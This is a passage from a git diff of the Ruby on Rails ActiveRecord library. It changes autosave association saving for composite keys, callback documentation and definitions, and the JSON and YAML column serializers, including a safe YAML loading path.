+            errors.objects.append(
+              Associations::NestedError.new(association, error)
+            )
+          }
+        elsif associated_errors.any?
+          errors.add(association.reflection.name)
         end
-        valid
-      end
 
-      def normalize_reflection_attribute(indexed_attribute, reflection, index, attribute)
-        if indexed_attribute
-          "#{reflection.name}[#{index}].#{attribute}"
-        else
-          "#{reflection.name}.#{attribute}"
-        end
+        errors.any?
       end
 
-      # Is used as a before_save callback to check while saving a collection
+      # Is used as an around_save callback to check while saving a collection
       # association whether or not the parent was a new record before saving.
-      def before_save_collection_association
-        @new_record_before_save = new_record?
-        true
+      def around_save_collection_association
+        previously_new_record_before_save = (@new_record_before_save ||= false)
+        @new_record_before_save = !previously_new_record_before_save && new_record?
+
+        yield
+      ensure
+        @new_record_before_save = previously_new_record_before_save
       end
 
       # Saves any new associated records, or all loaded autosave associations if
@@ -383,10 +420,14 @@ def save_collection_association(reflection)
         if association = association_instance_get(reflection.name)
           autosave = reflection.options[:autosave]
 
+          # By saving the instance variable in a local variable,
+          # we make the whole callback re-entrant.
+          new_record_before_save = @new_record_before_save
+
           # reconstruct the scope now that we know the owner's id
-          association.reset_scope if association.respond_to?(:reset_scope)
+          association.reset_scope
 
-          if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+          if records = associated_records_to_validate_or_save(association, new_record_before_save, autosave)
             if autosave
               records_to_destroy = records.select(&:marked_for_destruction?)
               records_to_destroy.each { |record| association.destroy(record) }
@@ -398,17 +439,24 @@ def save_collection_association(reflection)
 
               saved = true
 
-              if autosave != false && (@new_record_before_save || record.new_record?)
+              if autosave != false && (new_record_before_save || record.new_record?)
+                association.set_inverse_instance(record)
+
                 if autosave
                   saved = association.insert_record(record, false)
-                else
-                  association.insert_record(record) unless reflection.nested?
+                elsif !reflection.nested?
+                  association_saved = association.insert_record(record)
+
+                  if reflection.validate?
+                    errors.add(reflection.name) unless association_saved
+                    saved = association_saved
+                  end
                 end
               elsif autosave
                 saved = record.save(validate: false)
               end
 
-              raise ActiveRecord::Rollback unless saved
+              raise(RecordInvalid.new(association.owner)) unless saved
             end
           end
         end
@@ -424,36 +472,64 @@ def save_collection_association(reflection)
       # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
       def save_has_one_association(reflection)
         association = association_instance_get(reflection.name)
-        record      = association && association.load_target
+        return unless association && association.loaded?
 
-        if record && !record.destroyed?
-          autosave = reflection.options[:autosave]
+        record = association.load_target
+        return unless record && !record.destroyed?
 
-          if autosave && record.marked_for_destruction?
-            record.destroy
-          elsif autosave != false
-            key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+        autosave = reflection.options[:autosave]
 
-            if (autosave && record.changed_for_autosave?) || new_record? || record_changed?(reflection, record, key)
-              unless reflection.through_reflection
-                record[reflection.foreign_key] = key
-              end
+        if autosave && record.marked_for_destruction?
+          record.destroy
+        elsif autosave != false
+          primary_key = Array(compute_primary_key(reflection, self)).map(&:to_s)
+          primary_key_value = primary_key.map { |key| _read_attribute(key) }
+          return unless (autosave && record.changed_for_autosave?) || _record_changed?(reflection, record, primary_key_value)
+
+          unless reflection.through_reflection
+            foreign_key = Array(reflection.foreign_key)
+            primary_key_foreign_key_pairs = primary_key.zip(foreign_key)
 
-              saved = record.save(validate: !autosave)
-              raise ActiveRecord::Rollback if !saved && autosave
-              saved
+            primary_key_foreign_key_pairs.each do |primary_key, foreign_key|
+              association_id = _read_attribute(primary_key)
+              record[foreign_key] = association_id unless record[foreign_key] == association_id
             end
+            association.set_inverse_instance(record)
           end
+
+          inverse_association = reflection.inverse_of && record.association(reflection.inverse_of.name)
+          return if inverse_association && record.autosaving_belongs_to_for?(inverse_association)
+
+          saved = record.save(validate: !autosave)
+          raise ActiveRecord::Rollback if !saved && autosave
+          saved
         end
       end
 
       # If the record is new or it has changed, returns true.
-      def record_changed?(reflection, record, key)
+      def _record_changed?(reflection, record, key)
         record.new_record? ||
-          (record.has_attribute?(reflection.foreign_key) && record[reflection.foreign_key] != key) ||
+          (association_foreign_key_changed?(reflection, record, key) ||
+          inverse_polymorphic_association_changed?(reflection, record)) ||
           record.will_save_change_to_attribute?(reflection.foreign_key)
       end
 
+      def association_foreign_key_changed?(reflection, record, key)
+        return false if reflection.through_reflection?
+
+        foreign_key = Array(reflection.foreign_key)
+        return false unless foreign_key.all? { |key| record._has_attribute?(key) }
+
+        foreign_key.map { |key| record._read_attribute(key) } != Array(key)
+      end
+
+      def inverse_polymorphic_association_changed?(reflection, record)
+        return false unless reflection.inverse_of&.polymorphic?
+
+        class_name = record._read_attribute(reflection.inverse_of.foreign_type)
+        reflection.active_record.polymorphic_name != class_name
+      end
+
       # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
       #
       # In addition, it will destroy the association if it was marked for destruction.
@@ -466,14 +542,29 @@ def save_belongs_to_association(reflection)
           autosave = reflection.options[:autosave]
 
           if autosave && record.marked_for_destruction?
-            self[reflection.foreign_key] = nil
+            foreign_key = Array(reflection.foreign_key)
+            foreign_key.each { |key| self[key] = nil }
             record.destroy
           elsif autosave != false
-            saved = record.save(validate: !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+            saved = if record.new_record? || (autosave && record.changed_for_autosave?)
+              begin
+                @autosaving_belongs_to_for ||= {}
+                @autosaving_belongs_to_for[association] = true
+                record.save(validate: !autosave)
+              ensure
+                @autosaving_belongs_to_for[association] = false
+              end
+            end
 
             if association.updated?
-              association_id = record.send(reflection.options[:primary_key] || :id)
-              self[reflection.foreign_key] = association_id
+              primary_key = Array(compute_primary_key(reflection, record)).map(&:to_s)
+              foreign_key = Array(reflection.foreign_key)
+
+              primary_key_foreign_key_pairs = primary_key.zip(foreign_key)
+              primary_key_foreign_key_pairs.each do |primary_key, foreign_key|
+                association_id = record._read_attribute(primary_key)
+                self[foreign_key] = association_id unless self[foreign_key] == association_id
+              end
               association.loaded!
             end
 
@@ -482,10 +573,24 @@ def save_belongs_to_association(reflection)
         end
       end
 
-      def _ensure_no_duplicate_errors
-        errors.messages.each_key do |attribute|
-          errors[attribute].uniq!
+      def compute_primary_key(reflection, record)
+        if primary_key_options = reflection.options[:primary_key]
+          primary_key_options
+        elsif reflection.options[:query_constraints] && (query_constraints = record.class.query_constraints_list)
+          query_constraints
+        elsif record.class.has_query_constraints? && !reflection.options[:foreign_key]
+          record.class.query_constraints_list
+        elsif record.class.composite_primary_key?
+          # If record has composite primary key of shape [:<tenant_key>, :id], infer primary_key as :id
+          primary_key = record.class.primary_key
+          primary_key.include?("id") ? "id" : primary_key
+        else
+          record.class.primary_key
         end
       end
+
+      def _ensure_no_duplicate_errors
+        errors.uniq!
+      end
   end
 end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index ac1aa2df4588d..c88e28976b7e3 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -1,28 +1,18 @@
-require "yaml"
+# frozen_string_literal: true
+
 require "active_support/benchmarkable"
 require "active_support/dependencies"
 require "active_support/descendants_tracker"
 require "active_support/time"
-require "active_support/core_ext/module/attribute_accessors"
-require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/hash/deep_merge"
-require "active_support/core_ext/hash/slice"
-require "active_support/core_ext/hash/transform_values"
-require "active_support/core_ext/string/behavior"
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/core_ext/module/introspection"
-require "active_support/core_ext/object/duplicable"
 require "active_support/core_ext/class/subclasses"
-require "active_record/attribute_decorators"
-require "active_record/define_callbacks"
-require "active_record/errors"
 require "active_record/log_subscriber"
-require "active_record/explain_subscriber"
+require "active_record/structured_event_subscriber"
 require "active_record/relation/delegation"
 require "active_record/attributes"
 require "active_record/type_caster"
+require "active_record/database_configurations"
 
-module ActiveRecord #:nodoc:
+module ActiveRecord # :nodoc:
   # = Active Record
   #
   # Active Record objects don't specify their attributes directly, but rather infer them from
@@ -147,6 +137,23 @@ module ActiveRecord #:nodoc:
   #   anonymous = User.new(name: "")
   #   anonymous.name? # => false
   #
+  # Query methods will also respect any overrides of default accessors:
+  #
+  #   class User
+  #     # Has admin boolean column
+  #     def admin
+  #       false
+  #     end
+  #   end
+  #
+  #   user.update(admin: true)
+  #
+  #   user.read_attribute(:admin)  # => true, gets the column value
+  #   user[:admin] # => true, also gets the column value
+  #
+  #   user.admin   # => false, due to the getter override
+  #   user.admin?  # => false, due to the getter override
+  #
   # == Accessing attributes before they have been typecasted
   #
   # Sometimes you want to be able to read the raw attribute data without having the column-determined
@@ -226,7 +233,7 @@ module ActiveRecord #:nodoc:
   #
   # Connections are usually created through
   # {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] and retrieved
-  # by ActiveRecord::Base.connection. All classes inheriting from ActiveRecord::Base will use this
+  # by ActiveRecord::Base.lease_connection. All classes inheriting from ActiveRecord::Base will use this
   # connection. But you can also set a class-specific connection. For example, if Course is an
   # ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
   # and Course and all of its subclasses will use this connection instead.
@@ -249,13 +256,13 @@ module ActiveRecord #:nodoc:
   # * AssociationTypeMismatch - The object assigned to the association wasn't of the type
   #   specified in the association definition.
   # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
-  #   {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  #   {ActiveRecord::Base#attributes=}[rdoc-ref:ActiveModel::AttributeAssignment#attributes=] method.
   #   You can inspect the +attribute+ property of the exception object to determine which attribute
   #   triggered the error.
   # * ConnectionNotEstablished - No connection has been established.
   #   Use {ActiveRecord::Base.establish_connection}[rdoc-ref:ConnectionHandling#establish_connection] before querying.
   # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
-  #   {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  #   {ActiveRecord::Base#attributes=}[rdoc-ref:ActiveModel::AttributeAssignment#attributes=] method.
   #   The +errors+ property of this exception contains an array of
   #   AttributeAssignmentError
   #   objects that should be inspected to determine which attributes triggered the errors.
@@ -273,7 +280,7 @@ module ActiveRecord #:nodoc:
   # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
   # instances in the current object space.
   class Base
-    extend ActiveModel::Naming
+    include ActiveModel::API
 
     extend ActiveSupport::Benchmarkable
     extend ActiveSupport::DescendantsTracker
@@ -283,10 +290,11 @@ class Base
     extend Querying
     extend Translation
     extend DynamicMatchers
+    extend DelegatedType
     extend Explain
     extend Enum
     extend Delegation::DelegateCache
-    extend CollectionCacheKey
+    extend Aggregations::ClassMethods
 
     include Core
     include Persistence
@@ -296,23 +304,20 @@ class Base
     include Scoping
     include Sanitization
     include AttributeAssignment
-    include ActiveModel::Conversion
     include Integration
     include Validations
     include CounterCache
     include Attributes
-    include AttributeDecorators
     include Locking::Optimistic
     include Locking::Pessimistic
-    include DefineCallbacks
+    include Encryption::EncryptableRecord
     include AttributeMethods
     include Callbacks
     include Timestamp
     include Associations
-    include ActiveModel::SecurePassword
+    include SecurePassword
     include AutosaveAssociation
     include NestedAttributes
-    include Aggregations
     include Transactions
     include TouchLater
     include NoTouching
@@ -320,7 +325,12 @@ class Base
     include Serialization
     include Store
     include SecureToken
+    include TokenFor
+    include SignedId
     include Suppressor
+    include Marshalling::Methods
+
+    self.param_delimiter = "_"
   end
 
   ActiveSupport.run_load_hooks(:active_record, Base)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index eb44887e1804d..6e9c68b747e5d 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record \Callbacks
   #
   # \Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic
-  # before or after an alteration of the object state. This can be used to make sure that associated and
+  # before or after a change in the object state. This can be used to make sure that associated and
   # dependent objects are deleted when {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] is called (by overwriting +before_destroy+) or
   # to massage attributes before they're validated (by overwriting +before_validation+).
   # As an example of the callbacks initiated, consider the {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] call for a new record:
@@ -30,7 +32,7 @@ module ActiveRecord
   # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
   # are instantiated as well.
   #
-  # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the
+  # There are nineteen callbacks in total, which give a lot of control over how to react and prepare for each state in the
   # Active Record life cycle. The sequence for calling {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] for an existing record is similar,
   # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
   #
@@ -62,7 +64,7 @@ module ActiveRecord
   #
   # Besides the overwritable callback methods, it's also possible to register callbacks through the
   # use of the callback macros. Their main advantage is that the macros add behavior into a callback
-  # queue that is kept intact down through an inheritance hierarchy.
+  # queue that is kept intact through an inheritance hierarchy.
   #
   #   class Topic < ActiveRecord::Base
   #     before_destroy :destroy_author
@@ -72,22 +74,8 @@ module ActiveRecord
   #     before_destroy :destroy_readers
   #   end
   #
-  # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is
-  # run, both +destroy_author+ and +destroy_readers+ are called. Contrast this to the following situation
-  # where the +before_destroy+ method is overridden:
-  #
-  #   class Topic < ActiveRecord::Base
-  #     def before_destroy() destroy_author end
-  #   end
-  #
-  #   class Reply < Topic
-  #     def before_destroy() destroy_readers end
-  #   end
-  #
-  # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+.
-  # So, use the callback macros when you want to ensure that a certain callback is called for the entire
-  # hierarchy, and use the regular overwritable methods when you want to leave it up to each descendant
-  # to decide whether they want to call +super+ and trigger the inherited callbacks.
+  # When <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is
+  # run, both +destroy_author+ and +destroy_readers+ are called.
   #
   # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the
   # callbacks before specifying the associations. Otherwise, you might trigger the loading of a
@@ -95,10 +83,9 @@ module ActiveRecord
   #
   # == Types of callbacks
   #
-  # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
-  # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects
-  # are the recommended approaches, inline methods using a proc are sometimes appropriate (such as for
-  # creating mix-ins), and inline eval methods are deprecated.
+  # There are three types of callbacks accepted by the callback macros: method references (symbol), callback objects,
+  # inline methods (using a proc). \Method references and callback objects are the recommended approaches,
+  # inline methods using a proc are sometimes appropriate (such as for creating mix-ins).
   #
   # The method reference callbacks work by specifying a protected or private method available in the object, like this:
   #
@@ -107,7 +94,7 @@ module ActiveRecord
   #
   #     private
   #       def delete_parents
-  #         self.class.delete_all "parent_id = #{id}"
+  #         self.class.delete_by(parent_id: id)
   #       end
   #   end
   #
@@ -140,7 +127,7 @@ module ActiveRecord
   #       end
   #   end
   #
-  # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+  # So you specify the object you want to be messaged on a given callback. When that callback is triggered, the object has
   # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
   # initialization data such as the name of the attribute to work with:
   #
@@ -186,13 +173,13 @@ module ActiveRecord
   #
   # If a <tt>before_*</tt> callback throws +:abort+, all the later callbacks and
   # the associated action are cancelled.
-  # Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
+  # \Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
   # methods on the model, which are called last.
   #
   # == Ordering callbacks
   #
-  # Sometimes the code needs that the callbacks execute in a specific order. For example, a +before_destroy+
-  # callback (+log_children+ in this case) should be executed before the children get destroyed by the
+  # Sometimes application code requires that callbacks execute in a specific order. For example, a +before_destroy+
+  # callback (+log_children+ in this case) should be executed before records in the +children+ association are destroyed by the
   # <tt>dependent: :destroy</tt> option.
   #
   # Let's look at the code below:
@@ -208,8 +195,8 @@ module ActiveRecord
   #       end
   #   end
   #
-  # In this case, the problem is that when the +before_destroy+ callback is executed, the children are not available
-  # because the {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] callback gets executed first.
+  # In this case, the problem is that when the +before_destroy+ callback is executed, records in the +children+ association no
+  # longer exist because the {ActiveRecord::Base#destroy}[rdoc-ref:Persistence#destroy] callback was executed first.
   # You can use the +prepend+ option on the +before_destroy+ callback to avoid this.
   #
   #   class Topic < ActiveRecord::Base
@@ -223,65 +210,49 @@ module ActiveRecord
   #       end
   #   end
   #
-  # This way, the +before_destroy+ gets executed before the <tt>dependent: :destroy</tt> is called, and the data is still available.
+  # This way, the +before_destroy+ is executed before the <tt>dependent: :destroy</tt> is called, and the data is still available.
   #
   # Also, there are cases when you want several callbacks of the same type to
   # be executed in order.
   #
   # For example:
   #
-  #   class Topic
+  #   class Topic < ActiveRecord::Base
   #     has_many :children
   #
   #     after_save :log_children
   #     after_save :do_something_else
   #
   #     private
+  #       def log_children
+  #         # Child processing
+  #       end
   #
-  #     def log_chidren
-  #       # Child processing
-  #     end
-  #
-  #     def do_something_else
-  #       # Something else
-  #     end
+  #       def do_something_else
+  #         # Something else
+  #       end
   #   end
   #
-  # In this case the +log_children+ gets executed before +do_something_else+.
-  # The same applies to all non-transactional callbacks.
-  #
-  # In case there are multiple transactional callbacks as seen below, the order
-  # is reversed.
-  #
-  # For example:
-  #
-  #   class Topic
-  #     has_many :children
-  #
-  #     after_commit :log_children
-  #     after_commit :do_something_else
+  # In this case the +log_children+ is executed before +do_something_else+.
+  # This applies to all non-transactional callbacks, and to +before_commit+.
   #
-  #     private
-  #
-  #     def log_chidren
-  #       # Child processing
-  #     end
+  # For transactional +after_+ callbacks (+after_commit+, +after_rollback+, etc), the order
+  # can be set via configuration.
   #
-  #     def do_something_else
-  #       # Something else
-  #     end
-  #   end
+  #   config.active_record.run_after_transaction_callbacks_in_order_defined = false
   #
-  # In this case the +do_something_else+ gets executed before +log_children+.
+  # When set to +true+ (the default from \Rails 7.1), callbacks are executed in the order they
+  # are defined, just like the example above. When set to +false+, the order is reversed, so
+  # +do_something_else+ is executed before +log_children+.
   #
   # == \Transactions
   #
   # The entire callback chain of a {#save}[rdoc-ref:Persistence#save], {#save!}[rdoc-ref:Persistence#save!],
   # or {#destroy}[rdoc-ref:Persistence#destroy] call runs within a transaction. That includes <tt>after_*</tt> hooks.
-  # If everything goes fine a COMMIT is executed once the chain has been completed.
+  # If everything goes fine a +COMMIT+ is executed once the chain has been completed.
   #
-  # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
-  # can also trigger a ROLLBACK raising an exception in any of the callbacks,
+  # If a <tt>before_*</tt> callback cancels the action a +ROLLBACK+ is issued. You
+  # can also trigger a +ROLLBACK+ raising an exception in any of the callbacks,
   # including <tt>after_*</tt> hooks. Note, however, that in that case the client
   # needs to be aware of it because an ordinary {#save}[rdoc-ref:Persistence#save] will raise such exception
   # instead of quietly returning +false+.
@@ -292,17 +263,17 @@ module ActiveRecord
   # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property
   # defines what part of the chain the callback runs in.
   #
-  # To find all callbacks in the before_save callback chain:
+  # To find all callbacks in the +before_save+ callback chain:
   #
   #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
   #
-  # Returns an array of callback objects that form the before_save chain.
+  # Returns an array of callback objects that form the +before_save+ chain.
   #
   # To further check if the before_save chain contains a proc defined as <tt>rest_when_dead</tt> use the <tt>filter</tt> property of the callback object:
   #
   #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
   #
-  # Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.
+  # Returns true or false depending on whether the proc is contained in the +before_save+ callback chain on a Topic model.
   #
   module Callbacks
     extend ActiveSupport::Concern
@@ -314,9 +285,140 @@ module Callbacks
       :before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback
     ]
 
-    def destroy #:nodoc:
+    module ClassMethods
+      include ActiveModel::Callbacks
+
+      ##
+      # :method: after_initialize
+      #
+      # :call-seq: after_initialize(*args, &block)
+      #
+      # Registers a callback to be called after a record is instantiated. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_find
+      #
+      # :call-seq: after_find(*args, &block)
+      #
+      # Registers a callback to be called after a record is instantiated
+      # via a finder. See ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_touch
+      #
+      # :call-seq: after_touch(*args, &block)
+      #
+      # Registers a callback to be called after a record is touched. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: before_save
+      #
+      # :call-seq: before_save(*args, &block)
+      #
+      # Registers a callback to be called before a record is saved. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: around_save
+      #
+      # :call-seq: around_save(*args, &block)
+      #
+      # Registers a callback to be called around the save of a record. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_save
+      #
+      # :call-seq: after_save(*args, &block)
+      #
+      # Registers a callback to be called after a record is saved. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: before_create
+      #
+      # :call-seq: before_create(*args, &block)
+      #
+      # Registers a callback to be called before a record is created. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: around_create
+      #
+      # :call-seq: around_create(*args, &block)
+      #
+      # Registers a callback to be called around the creation of a record. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_create
+      #
+      # :call-seq: after_create(*args, &block)
+      #
+      # Registers a callback to be called after a record is created. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: before_update
+      #
+      # :call-seq: before_update(*args, &block)
+      #
+      # Registers a callback to be called before a record is updated. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: around_update
+      #
+      # :call-seq: around_update(*args, &block)
+      #
+      # Registers a callback to be called around the update of a record. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_update
+      #
+      # :call-seq: after_update(*args, &block)
+      #
+      # Registers a callback to be called after a record is updated. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: before_destroy
+      #
+      # :call-seq: before_destroy(*args, &block)
+      #
+      # Registers a callback to be called before a record is destroyed. See
+      # ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: around_destroy
+      #
+      # :call-seq: around_destroy(*args, &block)
+      #
+      # Registers a callback to be called around the destruction of a record.
+      # See ActiveRecord::Callbacks for more information.
+
+      ##
+      # :method: after_destroy
+      #
+      # :call-seq: after_destroy(*args, &block)
+      #
+      # Registers a callback to be called after a record is destroyed. See
+      # ActiveRecord::Callbacks for more information.
+    end
+
+    included do
+      include ActiveModel::Validations::Callbacks
+
+      define_model_callbacks :initialize, :find, :touch, only: :after
+      define_model_callbacks :save, :create, :update, :destroy
+    end
+
+    def destroy # :nodoc:
       @_destroy_callback_already_called ||= false
-      return if @_destroy_callback_already_called
+      return true if @_destroy_callback_already_called
       @_destroy_callback_already_called = true
       _run_destroy_callbacks { super }
     rescue RecordNotDestroyed => e
@@ -326,13 +428,16 @@ def destroy #:nodoc:
       @_destroy_callback_already_called = false
     end
 
-    def touch(*) #:nodoc:
+    def touch(*, **) # :nodoc:
       _run_touch_callbacks { super }
     end
 
-  private
+    def increment!(attribute, by = 1, touch: nil) # :nodoc:
+      touch ? _run_touch_callbacks { super } : super
+    end
 
-    def create_or_update(*)
+  private
+    def create_or_update(**)
       _run_save_callbacks { super }
     end
 
@@ -340,8 +445,8 @@ def _create_record
       _run_create_callbacks { super }
     end
 
-    def _update_record(*)
-      _run_update_callbacks { super }
+    def _update_record
+      _run_update_callbacks { record_update_timestamps { super } }
     end
   end
 end
diff --git a/activerecord/lib/active_record/coders/column_serializer.rb b/activerecord/lib/active_record/coders/column_serializer.rb
new file mode 100644
index 0000000000000..e8ee695013517
--- /dev/null
+++ b/activerecord/lib/active_record/coders/column_serializer.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Coders # :nodoc:
+    class ColumnSerializer # :nodoc:
+      attr_reader :object_class
+      attr_reader :coder
+
+      def initialize(attr_name, coder, object_class = Object)
+        @attr_name = attr_name
+        @object_class = object_class
+        @coder = coder
+        check_arity_of_constructor
+      end
+
+      def init_with(coder) # :nodoc:
+        @attr_name = coder["attr_name"]
+        @object_class = coder["object_class"]
+        @coder = coder["coder"]
+      end
+
+      def dump(object)
+        return if object.nil?
+
+        assert_valid_value(object, action: "dump")
+        coder.dump(object)
+      end
+
+      def load(payload)
+        if payload.nil?
+          if @object_class != ::Object
+            return @object_class.new
+          end
+          return nil
+        end
+
+        object = coder.load(payload)
+
+        assert_valid_value(object, action: "load")
+        object ||= object_class.new if object_class != Object
+
+        object
+      end
+
+      # Public because it's called by Type::Serialized
+      def assert_valid_value(object, action:)
+        unless object.nil? || object_class === object
+          raise SerializationTypeMismatch,
+            "can't #{action} `#{@attr_name}`: was supposed to be a #{object_class}, but was a #{object.class}. -- #{object.inspect}"
+        end
+      end
+
+      private
+        def check_arity_of_constructor
+          load(nil)
+        rescue ArgumentError
+          raise ArgumentError, "Cannot serialize #{object_class}. Classes passed to `serialize` must have a 0 argument constructor."
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/coders/json.rb b/activerecord/lib/active_record/coders/json.rb
index cb185a881e7d1..21e4a74a02edf 100644
--- a/activerecord/lib/active_record/coders/json.rb
+++ b/activerecord/lib/active_record/coders/json.rb
@@ -1,12 +1,23 @@
+# frozen_string_literal: true
+
+require "active_support/json"
+
 module ActiveRecord
   module Coders # :nodoc:
     class JSON # :nodoc:
-      def self.dump(obj)
-        ActiveSupport::JSON.encode(obj)
+      DEFAULT_OPTIONS = { escape: false }.freeze
+
+      def initialize(options = nil)
+        @options = options ? DEFAULT_OPTIONS.merge(options) : DEFAULT_OPTIONS
+        @encoder = ActiveSupport::JSON::Encoding.json_encoder.new(options)
+      end
+
+      def dump(obj)
+        @encoder.encode(obj)
       end
 
-      def self.load(json)
-        ActiveSupport::JSON.decode(json) unless json.blank?
+      def load(json)
+        ActiveSupport::JSON.decode(json, @options) unless json.blank?
       end
     end
   end
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
index 9c52a31b95e2a..a1fcc292c5e08 100644
--- a/activerecord/lib/active_record/coders/yaml_column.rb
+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -1,43 +1,90 @@
+# frozen_string_literal: true
+
 require "yaml"
 
 module ActiveRecord
   module Coders # :nodoc:
-    class YAMLColumn # :nodoc:
-      attr_accessor :object_class
-
-      def initialize(attr_name, object_class = Object)
-        @attr_name = attr_name
-        @object_class = object_class
-        check_arity_of_constructor
-      end
+    class YAMLColumn < ColumnSerializer # :nodoc:
+      class SafeCoder
+        def initialize(permitted_classes: [], unsafe_load: nil)
+          @permitted_classes = permitted_classes
+          @unsafe_load = unsafe_load
+        end
 
-      def dump(obj)
-        return if obj.nil?
+        if Gem::Version.new(Psych::VERSION) >= Gem::Version.new("5.1")
+          def dump(object)
+            if @unsafe_load.nil? ? ActiveRecord.use_yaml_unsafe_load : @unsafe_load
+              ::YAML.dump(object)
+            else
+              ::YAML.safe_dump(
+                object,
+                permitted_classes: @permitted_classes + ActiveRecord.yaml_column_permitted_classes,
+                aliases: true,
+              )
+            end
+          end
+        else
+          def dump(object)
+            YAML.dump(object)
+          end
+        end
 
-        assert_valid_value(obj, action: "dump")
-        YAML.dump obj
+        if YAML.respond_to?(:unsafe_load)
+          def load(payload)
+            if @unsafe_load.nil? ? ActiveRecord.use_yaml_unsafe_load : @unsafe_load
+              YAML.unsafe_load(payload)
+            else
+              YAML.safe_load(
+                payload,
+                permitted_classes: @permitted_classes + ActiveRecord.yaml_column_permitted_classes,
+                aliases: true,
+              )
+            end
+          end
+        else
+          def load(payload)
+            if @unsafe_load.nil? ? ActiveRecord.use_yaml_unsafe_load : @unsafe_load
+              YAML.load(payload)
+            else
+              YAML.safe_load(
+                payload,
+                permitted_classes: @permitted_classes + ActiveRecord.yaml_column_permitted_classes,
+                aliases: true,
+              )
+            end
+          end
+        end
       end
 
-      def load(yaml)
-        return object_class.new if object_class != Object && yaml.nil?
-        return yaml unless yaml.is_a?(String) && /^---/.match?(yaml)
-        obj = YAML.load(yaml)
-
-        assert_valid_value(obj, action: "load")
-        obj ||= object_class.new if object_class != Object
+      def initialize(attr_name, object_class = Object, permitted_classes: [], unsafe_load: nil)
+        super(
+          attr_name,
+          SafeCoder.new(permitted_classes: permitted_classes || [], unsafe_load: unsafe_load),
+          object_class,
+        )
+        check_arity_of_constructor
+      end
 
-        obj
+      def init_with(coder) # :nodoc:
+        unless coder["coder"]
+          permitted_classes = coder["permitted_classes"] || []
+          unsafe_load = coder["unsafe_load"] || false
+          coder["coder"] = SafeCoder.new(permitted_classes: permitted_classes, unsafe_load: unsafe_load)
+        end
+        super(coder)
       end
 
-      def assert_valid_value(obj, action:)
-        unless obj.nil? || obj.is_a?(object_class)
-          raise SerializationTypeMismatch,
-            "can't #{action} `#{@attr_name}`: was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}"
+      def coder
+        # This is to retain forward compatibility when loading records serialized with Marshal
+        # from a previous version of Rails.
+        @coder ||= begin
+          permitted_classes = defined?(@permitted_classes) ? @permitted_classes : []
+          unsafe_load = defined?(@unsafe_load) && @unsafe_load.nil?
+          SafeCoder.new(permitted_classes: permitted_classes, unsafe_load: unsafe_load)
         end
       end
 
       private
-
         def check_arity_of_constructor
           load(nil)
